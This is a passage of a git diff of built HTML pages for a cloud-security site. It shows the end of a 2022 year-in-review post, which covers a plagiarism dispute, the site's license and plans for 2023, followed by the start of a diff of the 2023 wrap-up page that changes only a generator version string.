subscription plans, potentially profiting off of work done for Hacking the Cloud (I should mention, when asked about this, the site owner told me the site does not make money).</p> <p>I am 100% supportive of citing other researchers. It's why Hacking the Cloud has links to original research, additional resources, and references at the top of each article, front and center. However, there is a huge difference between citing someone, or crediting someone, and copying the entire article, word-for-word.</p> <p>To that site owner's credit, when I raised these concerns with them they were quick to remove the plagiarized content. To my knowledge this has not been a problem since, and I don't hold any ill-will towards them.</p> <div class="admonition warning"> <p class=admonition-title>Feb 2024 Update</p> <p>It has been brought to my attention that HackTricks Cloud is still engaging in blatant plagiarism of a variety of different sources, including plagiarizing Hacking the Cloud content. Please see <a href="https://x.com/Frichette_n/status/1753070869109481725?s=20">this</a> this Twitter thread for some examples. Please see <a href="https://x.com/Frichette_n/status/1753803942377517492?s=20">this</a> thread for more examples. I recommend avoiding their training course because of this. Copying and pasting blog posts and referencing those as training materials does not inspire confidence.</p> </div> <p>As a result of this incident, however, I have added additional language to our existing <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/CONTRIBUTING.md#plagiarism-policy>Plagiarism Policy</a> to further enforce that we will not accept plagiarized content on Hacking the Cloud. Additionally, I have added additional guarantees that I will remove links/references at the author's request (including situations that don't involve plagiarism).</p> <p>Hacking the Cloud uses the <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/blob/main/LICENSE>MIT License</a> which, in retrospect, was a big mistake. When this decision was made, I was not considering the potential for someone to copy content from the site and potentially monetizing it. I have spent some time looking into this, but I am not a lawyer, I don't know a thing about copyright, and I have not had much luck finding resources on how we can better protect the site's content. If you have any experience in this domain, I would love to <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud/discussions/categories/general>hear</a> from you.</p> <h2 id=mastodon>Mastodon<a class=headerlink href=#mastodon title="Permanent link">&para;</a></h2> <p>In a bit of an experiment, Hacking the Cloud now has its own <a href=https://infosec.exchange/@hackingthecloud>Mastodon</a> account! My goal with this account is to try something new. In the short term, I'd like to add a GitHub action to post to the account when a new article is published, along with posting release notes for the site.</p> <p>Long term, I'd like to cover broader cloud security news, and highlight interesting research or findings. I'm considering hooking it up to the RSS feeds of some well known blogs and sharing cloud security news that way. Feel free to give the account a follow if you're interested.</p> <figure> <p><a class=glightbox href=../../images/blog/2022_wrap-up/mastodon.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Showing the Mastodon profile page for Hacking the Cloud" loading=lazy src=../../images/blog/2022_wrap-up/mastodon.png></a></p> </figure> <h2 id=plans-for-the-future>Plans for the Future<a class=headerlink href=#plans-for-the-future title="Permanent link">&para;</a></h2> <p>Aside from continuing to add to the catalog of AWS attack techniques, I have three initiatives for Hacking the Cloud in 2023. The first, as mentioned previously, will be to add what I will loosely call "playbooks"; step by step guides demonstrating some path along the exploit chain. With this type of content, I think there is an opportunity to showcase how individual techniques can be chained together and demonstrate how an attacker can operate in a cloud environment.</p> <p>The second major initiative is to begin adding Kubernetes attacks to the mix. While not strictly cloud-specific (I'm running a kubernetes cluster 5 feet from where I'm sitting. And, no, I haven't broken into us-east-1.... yet.), it is undeniable that Kubernetes is a massive part of many organizations' security posture. Things may get a bit blurred if anything is specific to the cloud provider's implementation of Kubernetes but we'll cross that bridge when we get to it.</p> <p>And finally, I'd like to add more resources to the site related to real world attacks. Currently, I'm planning to add references to individual techniques if they were seen in the wild and where. This way, we can get an understanding of attack trends and prioritize defenses based on real-world usage.</p> <h2 id=conclusion>Conclusion<a class=headerlink href=#conclusion title="Permanent link">&para;</a></h2> <p>I hope you had a good 2022 and have an even better 2023. May every vulnerability you find be a critical! Happy holidays!</p> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">February 19, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">December 14, 2022</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Contributors> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 2A10 10 0 0 0 2 12c0 4.42 2.87 8.17 6.84 9.5.5.08.66-.23.66-.5v-1.69c-2.77.6-3.36-1.34-3.36-1.34-.46-1.16-1.11-1.47-1.11-1.47-.91-.62.07-.6.07-.6 1 .07 1.53 1.03 1.53 1.03.87 1.52 2.34 1.07 2.91.83.09-.65.35-1.09.63-1.34-2.22-.25-4.55-1.11-4.55-4.92 0-1.11.38-2 1.03-2.71-.1-.25-.45-1.29.1-2.64 0 0 .84-.27 2.75 1.02.79-.22 1.65-.33 2.5-.33s1.71.11 2.5.33c1.91-1.29 2.75-1.02 2.75-1.02.55 1.35.2 2.39.1 2.64.65.71 1.03 1.6 1.03 2.71 0 3.82-2.34 4.66-4.57 4.91.36.31.69.92.69 1.85V21c0 .27.16.59.67.5C19.14 20.16 22 16.42 22 12A10 10 0 0 0 12 2"/></svg> </span> <span>GitHub</span> <nav> <a href=https://github.com/Frichetten class=md-author title=@Frichetten> <img src="https://avatars.githubusercontent.com/u/10386884?v=4&size=72" alt=Frichetten> </a> <a href=https://github.com/web-flow class=md-author title=@web-flow> <img src="https://avatars.githubusercontent.com/u/19864447?v=4&size=72" alt=web-flow> </a> </nav> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
 </script></body> </html>
\ No newline at end of file
diff --git a/blog/2023_wrap-up/index.html b/blog/2023_wrap-up/index.html
index e203a0eb7..9520318c2 100644
--- a/blog/2023_wrap-up/index.html
+++ b/blog/2023_wrap-up/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An end of year summary for Hacking the Cloud in 2023."><link href=https://hackingthe.cloud/blog/2023_wrap-up/ rel=canonical><link href=../2022_wrap-up/ rel=prev><link href=../v2_new_look/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>2023 Wrap-up - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="2023 Wrap-up - Hacking The Cloud"><meta property=og:description content="An end of year summary for Hacking the Cloud in 2023."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/blog/2023_wrap-up/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="2023 Wrap-up - Hacking The Cloud"><meta property=twitter:description content="An end of year summary for Hacking the Cloud in 2023."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="An end of year summary for Hacking the Cloud in 2023."><link href=https://hackingthe.cloud/blog/2023_wrap-up/ rel=canonical><link href=../2022_wrap-up/ rel=prev><link href=../v2_new_look/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>2023 Wrap-up - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="2023 Wrap-up - Hacking The Cloud"><meta property=og:description content="An end of year summary for Hacking the Cloud in 2023."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/blog/2023_wrap-up/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="2023 Wrap-up - Hacking The Cloud"><meta property=twitter:description content="An end of year summary for Hacking the Cloud in 2023."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/blog/2023_wrap-up.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#numbers class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> 2023 Wrap-up </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 